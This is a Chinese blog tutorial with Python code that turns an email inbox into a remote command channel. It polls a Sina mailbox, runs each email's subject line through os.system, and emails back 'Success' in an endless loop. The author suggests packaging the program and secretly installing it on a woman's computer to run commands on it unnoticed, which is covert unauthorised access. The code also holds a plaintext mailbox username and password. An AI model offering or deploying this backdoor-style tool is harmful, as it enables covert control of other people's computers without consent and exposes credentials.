zoukankan      html  css  js  c++  java
  • python 使用微信远程控制电脑

    今天来分享一个“高大上”的技术——使用python编写一个能够用微信远程控制电脑的程序!

    先来分析一下控制的详细流程:

    我们使用微信给特定的邮箱发送一封邮件,当中包括了我们想要电脑运行的命令。然后电脑上的python程序获取到这封邮件,然后解析当中的命令,再交付给电脑运行。能够看出。这当中基本的技术难点就是获取邮件了!可是!这没有不论什么问题。大家看到我的上一篇博客《python 收发邮件》 http://blog.csdn.net/ivan_zgj/article/details/51013833 就能够了。以下给出使用python收发邮件并运行邮件命令的代码。

    # -*- coding:utf-8 -*-
    from email.mime.text import MIMEText
    import poplib
    import smtplib
    import os
    
    
    class MailManager(object):
    
        def __init__(self):
            self.popHost = 'pop.sina.com'
            self.smtpHost = 'smtp.sina.com'
            self.port = 25
            self.userName = 'ivanzgj@sina.com'
            self.passWord = 'zgj123'
            self.bossMail = '475176416@qq.com'
            self.login()
            self.configMailBox()
    
        # 登录邮箱
        def login(self):
            try:
                self.mailLink = poplib.POP3_SSL(self.popHost)
                self.mailLink.set_debuglevel(0)
                self.mailLink.user(self.userName)
                self.mailLink.pass_(self.passWord)
                self.mailLink.list()
                print u'login success!'
            except Exception as e:
                print u'login fail! ' + str(e)
                quit()
    
        # 获取邮件
        def retrMail(self):
            try:
                mail_list = self.mailLink.list()[1]
                if len(mail_list) == 0:
                    return None
                mail_info = mail_list[0].split(' ')
                number = mail_info[0]
                mail = self.mailLink.retr(number)[1]
                self.mailLink.dele(number)
    
                subject = u''
                sender = u''
                for i in range(0, len(mail)):
                    if mail[i].startswith('Subject'):
                        subject = mail[i][9:]
                    if mail[i].startswith('X-Sender'):
                        sender = mail[i][10:]
                content = {'subject': subject, 'sender': sender}
                return content
            except Exception as e:
                print str(e)
                return None
    
        def configMailBox(self):
            try:
                self.mail_box = smtplib.SMTP(self.smtpHost, self.port)
                self.mail_box.login(self.userName, self.passWord)
                print u'config mailbox success!'
            except Exception as e:
                print u'config mailbox fail! ' + str(e)
                quit()
    
        # 发送邮件
        def sendMsg(self, mail_body='Success!'):
            try:
                msg = MIMEText(mail_body, 'plain', 'utf-8')
                msg['Subject'] = mail_body
                msg['from'] = self.userName
                self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string())
                print u'send mail success!'
            except Exception as e:
                print u'send mail fail! ' + str(e)
    
    if __name__ == '__main__':
        mailManager = MailManager()
        mail = mailManager.retrMail()
        if mail is not None:
            cmd = mail['subject']
            os.system(cmd)
            mailManager.sendMsg()
    上述代码的逻辑是:邮件的主题为要运行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行运行。

    运行成功后发送一封success的邮件给我。

    以下測试一下。

    我使用qq邮箱给我指定的邮箱发送了以下这样一封邮件。

    这封邮件的命令是要打开mail.py这个文件。然后我们在电脑上执行上述代码程序,就能够看到其打开了mail.py这个文件了!

    如今,这个程序仅仅会执行一次,然后就会退出。我们仅仅要给它加个死循环就能够让它一直执行了~


    if __name__ == '__main__':
        while True:
            mailManager = MailManager()
            mail = mailManager.retrMail()
            if mail is not None:
                cmd = mail['subject']
                os.system(cmd)
                mailManager.sendMsg()
            time.sleep(5)
    如今我们仅仅要执行其这个程序,然后我们拿着手机,打开微信。一封邮件,便可随时远控电脑!想想。你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上。趁她不注意的时候。发一封邮件。然后让妹子的电脑干点什么事情(比如显示一段文字表白什么的),想想都非常激动呢!

    。!

    好的。以下直接给出一个源代码链接吧。

    python 微信远程控制电脑

  • 相关阅读:
    RMAN备份脚本
    配置putty隧道登录远程window远程或远程数据库
    ssh登录报错:no common kex alg
    Solaris上修改进程能够打开的最大文件句柄数
    如何在V890上安装配置rsc(转)
    Oracle表或分区导出脚本
    检查日期合法性脚本(转)
    Solaris下常用的磁带操作命令
    如何从solaris操作系统上获取机器的sn号
    如何修复failed磁盘和"DISABLED RECOVER"状态的plex
  • 原文地址:https://www.cnblogs.com/jhcelue/p/7246167.html
Copyright © 2011-2022 走看看